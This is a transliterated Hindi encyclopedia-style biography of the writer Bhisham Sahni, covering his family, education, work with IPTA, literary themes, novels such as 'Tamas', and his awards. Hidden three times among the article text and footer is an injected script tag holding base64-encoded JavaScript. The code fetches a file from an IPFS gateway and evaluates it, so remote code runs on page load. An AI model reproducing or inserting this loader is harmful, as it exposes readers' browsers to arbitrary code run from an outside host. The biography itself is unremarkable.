भीष्म साहनी
bhishm sahani
| |
| poora nam | bhishm sahani |
| janm | 8 agast, 1915 ee. |
| janm bhoomi | ravalapindi, bharat |
| mrityu | 11 julaee, 2003 |
| mrityu sthan | dilli |
| abhibhavak | pita- harabans lal sahani, mata- lakshmi devi |
| pati/patni | shila |
| karm bhoomi | bharat |
| karm-kshetr | sahity |
| mukhy rachanaean | 'meri priy kahaniyaan', 'jharokhe', 'tamas', 'basanti', 'mayadas ki ma di', 'hanus', 'kabira kh da bazar mean', 'bhagy rekha', 'pahala path', 'bhatakati rakh' adi. |
| vishay | kahani, upanyas, natak, anuvad. |
| bhasha | hindi, aangrezi, urdoo, sanskrit, panjabi |
| vidyalay | gavarnameant k aaulej (lahaur), panjab vishvavidyalay |
| shiksha | em.e., pi.ech.di. |
| puraskar-upadhi | 'sahity akadami puraskar' (1975), 'shiromani lekhak samman' (panjab sarakar) (1975), 'lotas puraskar' (aphro-eshiyan raitars esosieshan ki or se 1970), 'soviyat laiand neharoo puraskar' (1983), padm bhooshan (1998) |
| nagarikata | bharatiy |
| shaili | sadharan evan vyangatmak shaili |
| any janakari | desh ke vibhajan se pahale bhishm sahani ne vyapar bhi kiya aur isake sath hi ve adhyapan ka bhi kam karate rahe. tadanantar unhoanne patrakarita evan 'ipta' namak mandali mean abhinay ka kary kiya. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bhishm sahani (aangrezi: Bhisham Sahni; janm- 8 agast, 1915, ravalapindi, avibhajit bharat; mrityu- 11 julaee, 2003, dilli) prasiddh bharatiy lekhak the. unhean hindi sahity mean premachand ki paranpara ka agrani lekhak mana jata hai. ve adhunik hindi sahity ke pramukh stanbhoan mean se ek the. bhishm sahani manaviy moolyoan ke sadaiv himayati rahe. vamapanthi vicharadhara se ju de hone ke sath-sath ve manaviy moolyoan ko kabhi aankhoan se ojhal nahian karate the. apadhapi aur uthapatak ke yug mean bhishm sahani ka vyaktitv bilkul alag tha. unhean unake lekhan ke lie to smaran kiya hi jata hai, lekin apani sahridayata ke lie bhi ve chirasmaraniy haian. bhishm sahani ne kee prasiddh rachanaean ki thian, jinamean se unake upanyas 'tamas' par varsh 1986 mean ek film ka nirman bhi kiya gaya tha. unhean kee puraskar v samman prapt hue the. 1998 mean bharat sarakar ke 'padm bhooshan' alankaran se bhi ve vibhooshit kiye ge the.
janm tatha parivar
bhishm sahani ka janm 8 agast, sanh 1915 mean avibhajit bharat ke ravalapindi[1] mean hua tha. unake pita ka nam harabans lal sahani tatha mata lakshmi devi thian. unake pita apane samay ke prasiddh samajasevi the. hindi filmoan ke khyatiprapt abhineta balaraj sahani, bhishm sahani ke b de bhaee the. pita ke samajasevi vyaktitv ka in par kafi prabhav tha.[2] bhishm sahani ka vivah shila ji ke sath hua tha.
shiksha
bhishm sahani ki prarambhik shiksha ghar par hi hindi v sanskrit mean huee. unhoanne skool mean urdoo v aangrezi ki shiksha prapt karane ke bad 1937 mean 'gavarnameant k aaulej', lahaur se aangrezi sahity mean em.e. kiya aur phir 1958 mean panjab vishvavidyalay se pi.ech.di. ki upadhi prapt ki. vartaman samay mean pragatishil kathakaroan mean sahani ji ka pramukh sthan hai.
karyakshetr
desh ke vibhajan se pahale bhishm sahani ne vyapar bhi kiya aur isake sath hi ve adhyapan ka bhi kam karate rahe. tadanantar unhoanne patrakarita evan 'ipta' namak mandali mean abhinay ka kary kiya. sahani ji film jagath mean bhagy ajamane ke lie bambee a gaye, jahaan kam n milane ke karan unako bekari ka jivan vyatit karana p da. unhoanne vapas akar pun: ambala ke ek k aaulej mean adhyapan[3] ke bad dilli vishvavidyalay mean sthayi roop se kary kiya. is bich unhoanne lagabhag 1957 se 1963 tak videshi bhasha prakashan grih masko mean anuvadak ke roop mean bitaye. yahaan bhishm sahani ne do darjan ke qarib rashiyan bhashayi kitaboan, talast aauy, aaustrovski, autamatov ki kitaboan ka hindi mean roopaantar kiya. unhoanne 1965 se 1967 tak "nee kahaniyaan" ka sampadan kiya. sath hi ve pragatishil lekhak sangh tatha afro eshiyaee lekhak sangh se sambaddh rahe. ve 1993 se 1997 tak 'sahity akadami ekjikyootiv kameti' ke sadasy bhi rahe.
gady lekhan
bhishm sahani ka gady ek aise gady ka udaharan hamare samane prastut karata hai, jo jivan ke gady ka ek khas rang aur chamak lie hue hai. usaki shakti ke srot kavy ke upakaranoan se adhik jivan ki j doan tak unaki gahari pahuanch hai. bhishm ji ko kahian bhi bhasha ko gadhane ki zarurat nahian hoti. sudaul aur khoob pakki eeant ki khanak hi unake gady ki ekamatr pahachan hai.[2] jahaan tak pragativadi katha andolan aur bhishm sahani ke katha sahity ka prashn hai to ise kal ki sima mean baddh kar dena uchit nahian hai. hindi lekhan mean samajonmukhata ki lahar bahut pahale navajagaran kal se hi uthane lagi thi. marksavad ne usamean keval ek aur ayam jo da tha. isi marksavadi chintan ko manavatavadi drishtikon se jo dakar use jan-jan tak pahuanchane valoan mean ek nam bhishm sahani ji ka bhi hai. svatantryottar lekhakoan ki bhaanti bhishm sahani sahaj manaviy anubhootiyoan aur tatkalin jivan ke antardvandv ko lekar samane ae aur use rachana ka vishay banaya. janavadi chetana ke lekhak unaki lekhakiy sanvedana ka adhar janata ki pi da hai. janasamany ke prati samarpit unaka lekhan yatharth ki thos jamin par avalambit hai.[4]
yashapal tatha premachand ka prabhav
thumb|left|250px|bhishm sahani ek kathakar ke roop mean bhishm sahani par yashapal aur premachand ki gahari chhap hai. unaki kahaniyoan mean antarvirodhoan v jivan ke dvandvoan, visangatiyoan se jak de madhy varg ke sath hi nimn varg ki jijivisha aur sangharshashilata ko udghatit kiya gaya hai. janavadi katha andolan ke dauran bhishm sahani ne samany jan ki asha, akaanksha, du:kh, pi da, abhav, sangharsh tatha vidambanaoan ko apane upanyasoan se ojhal nahian hone diya. nee kahani mean unhoanne katha sahity ki j data ko to dakar use thos samajik adhar diya. ek bhokta ki haisiyat se bhishm ji ne desh ke vibhajan ke durbhagyapoorn khooni itihas ko bhoga hai, jisaki abhivyakti 'tamas' mean ham barabar dekhate haian. jahaan tak nari mukti ki samasya ka prashn hai, unhoanne apani rachanaoan mean nari ke vyaktitv vikas, svatantry, ekadhikar, arthik svatantrata, stri shiksha tatha samajik uttaradayitv adi usaki 'sammanajanak sthiti' ka samarthan kiya hai. ek tarah se dekha jae to sahani ji premachand ke padachinhoan par chalate hue unase bhi kahian age nikal ge haian.
unaki rachanaoan mean samajik antarvirodh poori tarah ubharakar aya hai. rajanaitik matavad athava daliyata ke arop se door bhishm sahani ne bharatiy rajaniti mean nirantar badhate bhrashtachar, netaoan ki pakhandi pravritti, chunavoan ki bhrasht pranali, rajaniti mean dharmik bhavana, sampradayikata, jativad ka durupayog, bhaee-bhatijavad, naitik moolyoan ka hras, vyapak star par acharan bhrashtata, shoshan ki sh dayantrakari pravrittiyoan v rajanaitik adarshoan ke khokhalepan adi ka chitran b di pramanikata v tatasthata ke sath kiya hai. unaka samajik bodh vyaktigat anubhav par adharit tha. unake upanyasoan mean shoshanahin, samatamoolak pragatishil samaj ki rachana, parivarik star, roodhiyoan ka virodh tatha sanyukt parivar ke parasparik vighatan ki sthitiyoan ke prati asantosh vyakt hua hai. bhishm ji ka saanskritik drishtikon nitant vaijnanik aur vyavaharik hai, jo nirantar parishkaran parishodhan v parivardhan ki prakriya se gujarata hai. pragatishil drishti ke karan vah moolyoan par adharit aisi dharmabhavana ke pakshadhar haian, jo manav matr ke kalyan ke prati pratibaddh aur upadey hai.[4]
adarsh dampaty ka rekhaankan
yadi stri-purush sambandh ki bat ki jae to bhishm sahani bharatiy grihasth jivan mean stri-purush ke jivan ko rath ke do pahiyoan ke roop mean svikar karate haian. vikas aur sukhi jivan ke lie donoan ke bich adarsh santulan aur samanjasy ka bana rahana anivary hai. unaki rachanaoan mean samanjasyapoorn jivan jine vale adarsh dampattiyoan ko b di garima ke sath rekhaankit kiya gaya hai. unaka vishvas hai ki striyoan ke lie samuchit shiksha, arthik svatantrata v vyaktitv vikas ki suvidha adarsh samaj ki rachana ke lie nitant avashyak hai. vah striyoan ke vyaktitv vikas ke pakshapati the, jo avasar pakar apana charam vikas kar sakati hai. bhishm sahani parampara se chali a rahi vivah ki j d parampara ko svikar n karake bhavanatmak ekata aur ragatmak anubandhoan ko vivah ka pramukh adhar manate the. manaviy moolyoan par adharit unaki dharm bhavana iansan ko iansan se jo dati hai n ki unhean prithakh karati hai. unake upanyasoan mean shoshanavihin samatamoolak pragatishil samaj ki sthapana ke sath samaj mean vyapt arthik visangatiyoan ke trasad parinam, dharm ki vidroopata v khokhalepan ko uddhatit kiya gaya hai.
kritiyaan
sahani ji ki mukhy kritiyaan haian-
|
|
|
|
bhasha-shaili
bhishm sahani hindi aur aangrezi ke alava urdoo, sanskrit, roosi aur panjabi bhashaoan ke achchhe janakar the.[5] bhishm sahani ek aise sahityakar the, jo bat ko matr kah dena hi nahian balki bat ki sachchaee aur gaharaee ko nap lena bhi utana hi uchit samajhate the. ve apane sahity ke madhyam se samajik vishamata v sangharsh ke bandhanoan ko to dakar age badhane ka ahvan karate the. unake sahity mean sarvatr manaviy karuna, manaviy mooly v naitikata vidyaman hai.[4] bhishm sahani ji ne sadharan evan vyangyatmak shaili ka prayog kar apani rachanaoan ko janamanas ke nikat pahuancha diya.
vicharadhara
bhishm sahani ko premachand ki parampara ka lekhak mana jata hai. unaki kahaniyaan samajik yatharth ki drishti se mahattvapoorn haian. unhoanne poori jivantata aur gatimayata ke sath khuli aur phaili huee ziandagi ko aankit kiya hai. sahani ji manaviy moolyoan ke b de himayati the, unhoanne vicharadhara ko apane sahity par kabhi havi nahian hone diya. vamapanthi vicharadhara ke sath ju de hone ke sath ve manaviy moolyoan ko kabhi ojhal nahian hone dete the. is bat ka udaharan unake prasiddh upanyas 'tamas' se liya ja sakata hai.[2]
marksavad se prabhavit
marksavad se prabhavit hone ke karan bhishm sahani samaj mean vyapt arthik visangatiyoan ke trasad parinamoan ko b di ganbhirata se anubhav karate the. pooanjivadi vyavastha ke aantargat ve jan samany ke bahuayami shoshan ko samajik vikas mean sarvadhik badhak aur amanaviy manate the. 'basanti', 'jharokhe', 'tamas', 'mayyadas ki ma di' v 'k diyaan' upanyasoan mean unhoanne arthik vishamata aur usake du:khad parinamoan ko b di marmikata se uddhatit kiya hai, jo samaj ke svarthi kuchakr ka parinam hai aur in du:khad sthitiyoan ke lie doshapoorn samaj vyavastha uttaradayi hai. ek shilpi ke roop mean bhi bhishm sahani siddhahast kalakar the. kathy aur vastu ke prati yadi unamean sajagata aur tatparata ka bhav tha to shilp saushthav ke prati bhi ve nirantar savadhan rahate the.
svatantr vyaktitv
svatantr vyaktitv vale bhishm sahani gahan manaviy sanvedana ke sashakt hastakshar the. unhoanne bharat ke samajik, rajanitik aur saanskritik yatharth ka spasht chitr apane upanyasoan mean prastut kiya hai. unaki yatharthavadi drishti unake pragatishil v marksavadi vicharoan ka pratiphal thi. bhishm ji ki sabase b di visheshata thi ki unhoanne jis jivan ko jiya, jin sangharshoan ko jhela, usi ka yathavath chitr apani rachanaoan mean aankit kiya. isi karan unake lie rachana karm aur jivan dharm mean abhed tha. vah lekhan ki sachchaee ko apani sachchaee manate the.[4]
dharmanirapekshata
bhishm sahani ji moolat: pratibaddh rachanakar the. unhoanne kuchh moolyoan ke sath sahity racha. ve behad sadagi pasand rachanakar the. unhoanne jivan mean hamesha dharmanirapekshata ko mahattv diya. dharmanirapekshata ka unaka yah nazariya unake sahity mean bhi bakhoobi jhalakata hai. "amritasar a gaya" jaisi unaki kahaniyaan shilp hi nahian, abhivyakti ki drishti se bhi kafi akarshit karati haian.[6]
lokagitoan aur lokajivan ke marmajn
varishth kahanikar evan ‘naya jnanoday’ patrika ke sanpadak ravindr kaliya ke anusar- "sahani ji apani patni ke sath ilahabad mean inake ghar par ruke the. is dauran sahityik charcha ke alava unhoanne tamam panjabi lokagit sunae. isase pata chalata hai ki sahani ji lokagitoan aur lokajivan ke bhi marmajn the."[5]
rangamanch se lagav
bhishm sahani thietar ki duniya se bhi nazadik se ju de rahe aur unhoanne 'iandiyan pipuls thietar esosieshan' (ipta) mean kam karana shuroo kiya, jahaan unhean b de bhaee balaraj sahani ka sahayog mila tha. bhishm sahani ne mashahoor natak 'bhoot ga di' ka nirdeshan bhi kiya, jisake manchan ki zimmedari khvaja ahamad abbas ne li thi.[6]
samman aur puraskar
bhishm sahani ko unaki "tamas" namak kriti par 'sahity akadami puraskar' (1975) se sammanit kiya gaya tha. unhean 'shiromani lekhak samman' (panjab sarakar) (1975), 'lotas puraskar' (aphro-eshiyan raitars asosieshan ki or se 1970), 'soviyat laiand neharoo puraskar' (1983) aur 'padm bhooshan' (1998) se sammanit kiya gaya tha.
mrityu
premachand ki paranpara ko age badhane vale lekhak bhishm sahani ka nidhan 11 julaee, 2003 ko dilli mean hua.
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ ab pakistan ka bhag
- ↑ 2.0 2.1 2.2 bhishm sahani (hindi) (ech ti em el) hindikuanj. abhigaman tithi: 11 aprail, 2011.
- ↑ khalasa k aaulej amritasar mean
- ↑ 4.0 4.1 4.2 4.3 bhishm sahani (hindi) bharat darshan. abhigaman tithi: 15 mee, 2015.
- ↑ 5.0 5.1 bhishm sahani (hindi) (ech ti em el) vebaduniya. abhigaman tithi: 11 aprail, 2011.
- ↑ 6.0 6.1 bhishm sahani (hindi) (ech ti em el) bi. bi. si d aaut k aaum. abhigaman tithi: 11 aprail, 2011.
bahari k diya
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>